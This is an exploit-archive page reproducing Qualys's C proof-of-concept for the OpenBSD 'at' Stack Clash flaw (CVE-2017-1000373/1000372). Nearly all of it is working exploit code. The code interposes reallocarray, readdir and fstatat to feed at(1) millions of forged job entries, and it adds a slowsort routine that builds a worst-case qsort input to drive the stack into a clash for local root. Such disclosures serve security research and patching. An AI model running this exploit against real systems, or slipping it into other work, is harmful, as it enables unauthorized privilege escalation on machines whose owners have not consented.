OpenBSD 'at' Local Root Stack Clash Exploit

2017.06.29
Credit: Qualys
Risk: Medium
Local: Yes
Remote: No
CWE: N/A

/* * OpenBSD_at.c for CVE-2017-1000373 * Copyright (c) 2017 Qualys, Inc. * slowsort() adapted from lib/libc/stdlib/qsort.c: * * Copyright (c) 1992, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ /* * OpenBSD_at.c for CVE-2017-1000372 * Copyright (C) 2017 Qualys, Inc. * ttime() adapted from usr.bin/at/at.c: * * at.c : Put file into atrun queue * Copyright (C) 1993, 1994 Thomas Koenig * * Atrun & Atq modifications * Copyright (C) 1993 David Parsons * * Traditional BSD behavior and other significant modifications * Copyright (C) 2002-2003 Todd C. Miller * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. The name of the author(s) may not be used to endorse or promote * products derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <ctype.h> #include <dirent.h> #include <dlfcn.h> #include <fcntl.h> #include <stdbool.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <sys/param.h> #include <sys/stat.h> #include <sys/types.h> #include <time.h> #include <unistd.h> static const char * u64tostr(uint64_t u64) { static char str[64]; char * cp = str + sizeof(str); *--cp = '\0'; do { if (cp <= str) _exit(__LINE__); *--cp = '0' + (u64 % 10); } while (u64 /= 10); return cp; } #define die() do { \ const char * const str = u64tostr(__LINE__); \ const size_t len = strlen(str); \ write(STDERR_FILENO, "\n[", 2); \ write(STDERR_FILENO, str, len); \ write(STDERR_FILENO, "]\n", 2); \ _exit(EXIT_FAILURE); \ } while (0) static __inline char *med3(char *, char *, char *, int (*)(const void *, const void *)); static __inline void swapfunc(char *, char *, size_t, int); /* * Qsort routine from Bentley & McIlroy's "Engineering a Sort Function". */ #define swapcode(TYPE, parmi, parmj, n) { \ size_t i = (n) / sizeof (TYPE); \ TYPE *pi = (TYPE *) (parmi); \ TYPE *pj = (TYPE *) (parmj); \ do { \ TYPE t = *pi; \ *pi++ = *pj; \ *pj++ = t; \ } while (--i > 0); \ } #define SWAPINIT(a, es) swaptype = ((char *)a - (char *)0) % sizeof(long) || \ es % sizeof(long) ? 2 : es == sizeof(long)? 0 : 1; static __inline void swapfunc(char *a, char *b, size_t n, int swaptype) { if (swaptype <= 1) swapcode(long, a, b, n) else swapcode(char, a, b, n) } #define swap(a, b) \ if (swaptype == 0) { \ long t = *(long *)(a); \ *(long *)(a) = *(long *)(b); \ *(long *)(b) = t; \ } else \ swapfunc(a, b, es, swaptype) #define vecswap(a, b, n) if ((n) > 0) swapfunc(a, b, n, swaptype) static __inline char * med3(char *a, char *b, char *c, int (*cmp)(const void *, const void *)) { return cmp(a, b) < 0 ? (cmp(b, c) < 0 ? b : (cmp(a, c) < 0 ? c : a )) :(cmp(b, c) > 0 ? b : (cmp(a, c) < 0 ? a : c )); } typedef struct { size_t idx; size_t key; } slowsort_t; static __inline void set_key(void * const _pss, const size_t key) { slowsort_t * const pss = _pss; if (!pss) die(); if (!key) die(); if (pss->key) die(); pss->key = key; } #define RESET_KEY SIZE_MAX static void slowsort(void *aa, size_t n, size_t es, int (*cmp)(const void *, const void *), const size_t stack_size) { if (!aa) die(); if (n <= 0) die(); if (n >= SSIZE_MAX) die(); if (es <= 0) die(); if (es >= SSIZE_MAX) die(); if (!cmp) die(); #define SET_KEYS 4 #define STACK_FRAME_SIZE 176 const size_t pathological = stack_size / STACK_FRAME_SIZE * SET_KEYS; if (n < pathological) die(); size_t innocuous = n - pathological; char *pa, *pb, *pc, *pd, *pl, *pm, *pn; int cmp_result, swaptype; size_t d, r; char *a = aa; loop: SWAPINIT(a, es); if (innocuous) { if (n <= innocuous) die(); if (n - innocuous <= SET_KEYS) die(); if (n <= 40) die(); } if (n < 7) { for (pm = a; pm < a + n * es; pm += es) { set_key(pm, 1 + (pm - a) / es); } for (pm = (char *)a + es; pm < (char *) a + n * es; pm += es) for (pl = pm; pl > (char *) a && cmp(pl - es, pl) > 0; pl -= es) swap(pl, pl - es); return; } pm = (char *)a + (n / 2) * es; size_t set_keys = 0; if (n > 7) { pl = (char *)a; pn = (char *)a + (n - 1) * es; if (n > 40) { d = (n / 8) * es; if (innocuous) { set_key(pl, RESET_KEY); set_key(pl + d, RESET_KEY); set_key(pl + 2 * d, RESET_KEY); } pl = med3(pl, pl + d, pl + 2 * d, cmp); if (innocuous) set_key(pm - d, RESET_KEY); set_key(pm + 0, n - innocuous - 3); set_key(pm + d, n - innocuous - 2); pm = med3(pm - d, pm, pm + d, cmp); if (innocuous) set_key(pn - 2 * d, RESET_KEY); set_key(pn - d, n - innocuous - 1); set_key(pn - 0, n - innocuous - 0); pn = med3(pn - 2 * d, pn - d, pn, cmp); set_keys = SET_KEYS; } else { set_key(pm, n - 1); set_key(pn, n - 0); set_keys = 2; } pm = med3(pl, pm, pn, cmp); } else { set_key(pm, n - 0); set_keys = 1; } if (!set_keys) die(); swap(a, pm); if (innocuous) { if (a != aa) die(); slowsort_t * pss = aa; { const size_t key = pss->key; if (!key) die(); if (n <= 40) die(); if (set_keys != SET_KEYS) die(); if (key != n - innocuous - set_keys + 1) die(); } const slowsort_t * const end = pss + n; size_t i = 0; for (;; pss++) { if (pss >= end) { if (i != innocuous) die(); break; } if (!pss->key) { if (i < innocuous) { set_key(pss, n - i++); set_keys++; } } else if (pss->key == RESET_KEY) { pss->key = 0; } else { if (pss->key > n - innocuous) die(); } } } pa = pb = (char *)a + es; pc = pd = (char *)a + (n - 1) * es; for (;;) { while (pb <= pc && (cmp_result = cmp(pb, a)) <= 0) { if (cmp_result == 0) { swap(pa, pb); pa += es; } pb += es; } while (pb <= pc && (cmp_result = cmp(pc, a)) >= 0) { if (cmp_result == 0) { swap(pc, pd); pd -= es; } pc -= es; } if (pb > pc) break; swap(pb, pc); pb += es; pc -= es; } pn = (char *)a + n * es; r = MIN(pa - (char *)a, pb - pa); vecswap(a, pb - r, r); r = MIN(pd - pc, pn - pd - (ssize_t)es); vecswap(pb, pn - r, r); if ((pb - pa) / es != n - set_keys) die(); if ((pd - pc) / es != set_keys - 1) die(); if ((r = pb - pa) > es) { n = r / es; innocuous = 0; goto loop; } die(); } static int cmp_key(const void * const a, const void * const b) { const size_t __a_key = ((const slowsort_t *)a)->key; const size_t __b_key = ((const slowsort_t *)b)->key; const size_t a_key = __a_key != RESET_KEY ? __a_key : 0; const size_t b_key = __b_key != RESET_KEY ? __b_key : 0; if (a_key < b_key) return -1; if (a_key > b_key) return +1; return 0; } #define ATOI2(s) ((s) += 2, ((s)[-2] - '0') * 10 + ((s)[-1] - '0')) /* * Adapted from date(1) */ static time_t ttime(char *arg) { time_t now, then; struct tm *lt; int yearset; char *dot, *p; if (time(&now) == (time_t)-1 || (lt = localtime(&now)) == NULL) die(); /* Valid date format is [[CC]YY]MMDDhhmm[.SS] */ for (p = arg, dot = NULL; *p != '\0'; p++) { if (*p == '.' && dot == NULL) dot = p; else if (!isdigit((unsigned char)*p)) goto terr; } if (dot == NULL) lt->tm_sec = 0; else { *dot++ = '\0'; if (strlen(dot) != 2) goto terr; lt->tm_sec = ATOI2(dot); if (lt->tm_sec > 61) /* could be leap second */ goto terr; } yearset = 0; switch(strlen(arg)) { case 12: /* CCYYMMDDhhmm */ lt->tm_year = ATOI2(arg) * 100; lt->tm_year -= 1900; /* Convert to Unix time */ yearset = 1; /* FALLTHROUGH */ case 10: /* YYMMDDhhmm */ if (yearset) { yearset = ATOI2(arg); lt->tm_year += yearset; } else { yearset = ATOI2(arg); /* POSIX logic: [00,68]=>20xx, [69,99]=>19xx */ lt->tm_year = yearset; if (yearset < 69) lt->tm_year += 100; } /* FALLTHROUGH */ case 8: /* MMDDhhmm */ lt->tm_mon = ATOI2(arg); if (lt->tm_mon > 12 || lt->tm_mon == 0) goto terr; --lt->tm_mon; /* Convert from 01-12 to 00-11 */ lt->tm_mday = ATOI2(arg); if (lt->tm_mday > 31 || lt->tm_mday == 0) goto terr; lt->tm_hour = ATOI2(arg); if (lt->tm_hour > 23) goto terr; lt->tm_min = ATOI2(arg); if (lt->tm_min > 59) goto terr; break; default: goto terr; } lt->tm_isdst = -1; /* mktime will deduce DST. */ then = mktime(lt); if (then == (time_t)-1) { terr: die(); } if (then < now) die(); return (then); } static bool reading_jobs; void * reallocarray(void * const ptr, const size_t nmemb, const size_t size) { static void * (* real_reallocarray)(void *ptr, size_t nmemb, size_t size); if (!real_reallocarray) { real_reallocarray = dlsym(RTLD_NEXT, "reallocarray"); if (!real_reallocarray) die(); } if (ptr == NULL && nmemb == 2 + 4 && size == sizeof(struct atjob *)) { if (reading_jobs) die(); reading_jobs = true; } void * const new_ptr = real_reallocarray(ptr, nmemb, size); if (!new_ptr) die(); return new_ptr; } #define NUMJOBS (40<<20) static const size_t * get_jobkeys(void) { const size_t n = NUMJOBS; slowsort_t * const a = calloc(n, sizeof(slowsort_t)); write(STDERR_FILENO, "initializing jobkeys\n", 21); if (!a) die(); size_t i; for (i = 0; i < n; i++) { a[i].idx = i; } slowsort(a, n, sizeof(slowsort_t), cmp_key, 33<<20); size_t * const jobkeys = calloc(n, sizeof(*jobkeys)); write(STDERR_FILENO, "finalizing jobkeys\n", 19); if (!jobkeys) die(); for (i = 0; i < n; i++) { const size_t j = a[i].idx; const size_t k = a[i].key; if (j >= n) die(); if (k <= 0) die(); if (k > n) die(); if (jobkeys[j]) die(); jobkeys[j] = k; } free(a); return jobkeys; } static struct dirent dirent; struct dirent * readdir(DIR * const dirp) { static struct dirent * (* real_readdir)(DIR *dirp); if (!real_readdir) { real_readdir = dlsym(RTLD_NEXT, "readdir"); if (!real_readdir) die(); } if (!reading_jobs) { return real_readdir(dirp); } static size_t numjobs; if (numjobs >= NUMJOBS) { write(STDERR_FILENO, "sorting jobs\n", 13); return NULL; } static char arg[32]; char * cp = arg + sizeof(arg); *--cp = '\0'; { static const struct { uint32_t min; uint32_t max; } units[] = { { 0, 59 }, /* Second */ { 0, 59 }, /* Minute */ { 0, 23 }, /* Hour */ { 1, 28 }, /* Day */ { 1, 12 }, /* Month */ { 2038, 2099 } /* Year */ }; static const size_t * jobkeys; if (!jobkeys) { jobkeys = get_jobkeys(); if (!jobkeys) die(); write(STDERR_FILENO, "reading jobs\n", 13); } uint32_t timer = jobkeys[numjobs++]; if (timer > NUMJOBS) die(); if (timer <= 0) die(); static size_t percent = 10; if (numjobs == NUMJOBS / 100 * percent) { const char * const str = u64tostr(percent); const size_t len = strlen(str); write(STDERR_FILENO, str, len); write(STDERR_FILENO, "%\n", 2); percent += 10; } size_t i; for (i = 0; i < sizeof(units)/sizeof(*units); i++) { const uint32_t min = units[i].min; const uint32_t max = units[i].max; const uint32_t div = max - min + 1; const uint32_t u32 = min + timer % div; timer /= div; if (u32 < min) die(); if (u32 > max) die(); const char * const str = u64tostr(u32); const size_t len = strlen(str); if (cp <= arg) die(); if (cp - arg < (ssize_t)len) die(); cp -= len; memcpy(cp, str, len); if (len < 2) { if (cp <= arg) die(); *--cp = '0'; } if (!i) { if (cp <= arg) die(); *--cp = '.'; } } if (timer) die(); } if (strlen(cp) != 15) die(); const uint64_t timer = ttime(cp); strlcpy(dirent.d_name, u64tostr(timer), sizeof(dirent.d_name)); strlcat(dirent.d_name, ".x", sizeof(dirent.d_name)); return &dirent; } int fstatat(const int fd, const char * const path, struct stat * const sb, const int flag) { static int (* real_fstatat)(int fd, const char *path, struct stat *sb, int flag); if (!real_fstatat) { real_fstatat = dlsym(RTLD_NEXT, "fstatat"); if (!real_fstatat) die(); } if (!reading_jobs || flag != AT_SYMLINK_NOFOLLOW || strcmp(path, dirent.d_name) != 0) { return real_fstatat(fd, path, sb, flag); } memset(sb, 0, sizeof(*sb)); sb->st_mode = S_IFREG | S_IRUSR | S_IWUSR; static uid_t user_uid; if (!user_uid) { user_uid = getuid(); if (!user_uid) die(); } sb->st_uid = user_uid; return 0; }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top